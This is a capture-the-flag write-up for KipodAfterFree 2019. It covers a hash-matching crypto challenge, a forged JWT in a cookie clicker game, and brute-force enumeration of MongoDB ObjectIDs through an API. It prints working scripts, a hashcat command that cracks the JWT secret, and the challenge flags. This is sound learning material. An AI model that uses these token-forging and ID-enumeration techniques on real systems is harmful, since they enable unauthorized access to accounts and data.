Write-ups for the KipodAfterFree 2019 capture the flag.
Very interesting problems in this CTF of varying difficulty. Enjoyed working through them.
#Crypto
#BackHash
This was interesting. It replaces all instances of f1a9
with the flag. It outputs
some hash but doesn’t appear to be simple md5/sha1. After some investigative work
I identified it as:
- Length : MD5
- Length : SHA | MD5
- Length : B64 | SHA | MD5
To find a hash, I wrote a python script to go over a wordlist and find a word:
from base64 import b64encode
from hashlib import sha1, md5
def do_s(string):
s = sha1()
s.update(string)
return s.hexdigest().encode('ascii')
def do_m(string):
m = md5()
m.update(string)
return m.hexdigest().encode('ascii')
with open('rockyou.txt', 'rb') as f:
for line in f:
attempt = line.strip()
res = {
0: lambda: do_m(attempt),
1: lambda: do_m(do_s(attempt)),
2: lambda: do_m(do_s(b64encode(attempt)))
}[len(attempt) % 3]()
if b'f1a9' in res:
print('{}: {}'.format(attempt, res))
hollywood
appears to be such a string. Entering it gives KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}
.
#Web
#Cookie Clicker
I logged in with some random username. Here’s what we have:
This is the JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpY2tDb3VudGVyIjowLCJpYXQiOjE1NzY5ODc2MjAsImV4cCI6MTU3Njk4NzY1MH0.56lNehtlZUJo61ZsnRzwd1TgogV6mgL2X7j4i2isqKQ
I went to jwt.io to see what this contains:
So we can just change it to:
{
"username": "admin",
"clickCounter": 1000000,
"iat": 1576987620,
"exp": 1576987650
}
to set that we’ve already done one million clicks. We just need to get the password used to verify the integrity of the JWT which I’ve done using hashcat:
$ hashcat -a0 -m 16500 jwt.hash ./rockyou.txt
...:mypinkipod
So now I can use mypinkipod
as the hash back on jwt.io
and obtain a fixed JWT.
Putting that back into cookie clicker I get the flag (KAF{koOK1E5_4rE_yUmmY_91Ve_mE_mOre}
):
#Cat Space
This challenge was a bit confusing at first but automating it is key. In the code you’ll find a comment:
<!--
API:
- /asjson?id={picture_id}
-->
additionally the webpage says it is powered by MongoDB. In the first picture, here’s the html:
<img id="p-5d8e5ebc54a43e28501d540f" src="/images/0.jpg">
5d8e5ebc54a43e28501d540f
is the “ObjectId” in MongoDB. ObjectIDs have a specific
format^[this has changed in new mongodb versions]:
- 4-byte unix time in seconds
- 3-byte machine id
- 2-byte process id
- 3-byte counter
So based on this, 0x5d8e5ebc
is the time of the first database entry and our
counter starts at 0x1d540f
. I wrote a script to get the first 50 object IDs
and fuzz about +200 the initial time. Here’s the script I wrote:
from multiprocessing import Pool
import requests
hash_start_time = 0x5d8e5ebc
hash_middle = '54a43e28501d54'
hash_start_id = 0x0f
# Try 200 times for each hash
num_hash_brutes = 200
def attempt_hash_offset(offset):
hash_id = hash_start_id + offset
for i in range(num_hash_brutes):
test_hash = '{:08x}{}{:02x}'.format(hash_start_time+i, hash_middle, hash_id)
url = 'http://ctf.kaf.sh:3010/asjson?id={}'.format(test_hash)
result = requests.get(url).content.decode('utf8')
if 'error' in result:
continue
print("{}: {}".format(offset, result))
return offset
print("{}: Not Found".format(offset))
if __name__ == '__main__':
pool = Pool(8)
# Find first 50 database items
total_attempts = 50
pool.map(attempt_hash_offset, range(0, total_attempts))
The script’s output:
0: {"_id":"5d8e5ebc54a43e28501d540f","url":"/images/0.jpg","caption":"Hello i'm Oscar 😹"}
1: {"_id":"5d8e5ebf54a43e28501d5410","url":"/images/1.jpg","caption":"Hello i'm Max 😽"}
... trimmed ...
17: {"_id":"5d8e5eec54a43e28501d5420","url":"/images/11.jpg","caption":"Hello i'm Puss 😼"}
22: {"_id":"5d8e5f1654a43e28501d5425","url":"/images/22.jpg","caption":"Hello i'm Lucky 😹"}
19: {"_id":"5d8e5f0154a43e28501d5422","url":"/images/17.jpg","caption":"KAF{c475_423_4w350m3}"}